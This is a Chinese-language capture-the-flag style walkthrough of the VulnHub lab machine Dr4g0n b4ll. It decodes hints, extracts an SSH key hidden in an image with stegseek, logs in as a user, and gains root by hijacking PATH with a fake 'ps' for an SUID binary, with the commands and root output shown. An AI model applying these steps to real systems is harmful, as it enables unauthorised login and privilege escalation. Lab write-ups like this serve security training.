下载地址:https://download.vulnhub.com/dr4g0nb4ll/Dr4g0n-b4ll.zip
攻击者IP:172.17.120.129 nat vmare
受害者IP:172.17.120.138 nat vmare
参考:https://www.freebuf.com/articles/web/396715.html
https://blog.csdn.net/a1176905843/article/details/118599099
https://blog.csdn.net/Bossfrank/article/details/136338089
https://www.cnblogs.com/y4ff/articles/18033315
主机发现
端口扫描
web主业是介绍龙珠的历史
查看源代码发现一串编码
VWtaS1FsSXdPVTlKUlVwQ1ZFVjNQUT09
经过多次base64解码后是
DRAGON BALL
这可能是某个密码,某个子目录,某个用户名等等
目录扫描
发现robots.txt
解码后是you find the hidden dir,提示要找到隐藏的文件夹,值得应该就是DRAGON BALL
里面有一个txt目录和一张图片,和一个静态的html
xmen可能是个用户名
txt目录一个一个访问太麻烦,写了个脚本批量查看状态码。结果全是404
import requestsurl = "http://172.17.120.138"with open("../Desktop/secret.txt") as f:files = f.readlines()#print(files)for i in files:line = i.strip()#print(line)# 检查 line 是否为空,如果不为空就执行下面的代码if line:new_url = url+lineres_status = requests.get(new_url)#print(res_status.status_code)print(f'{new_url}的响应码是{res_status.status_code}')
下载图片查看有没有隐写
binwalk aj.jpg --run-as=root
exiftool aj.jpg
stegseek aj.jpg提取到了一个私钥
给到600权限就可以无密码进入了
chmod 600 aj.jpg.out
ssh -i aj.jpg.out [email protected]
提权
查看内核版本,但是需要安装mao_write才能提权
查看历史命令
发现还有一个用户cyber
查看suid权限
find / -perm -u=s -type f 2>/dev/null
/home/xmen/script/shell
发现可疑文件
这是使用了ps命令,可以进行环境变量提权
xmen@debian:/tmp$ echo "/bin/bash" > psxmen@debian:/tmp$ chmod 777 psxmen@debian:/tmp$ export PATH="/tmp:$PATH"xmen@debian:/tmp$ echo $PATH/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/gamesxmen@debian:/tmp$ /home/xmen/script/shell root@debian:/tmp# iduid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(xmen)
原文始发于微信公众号(王之暴龙战神):Dr4g0n b4ll_1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论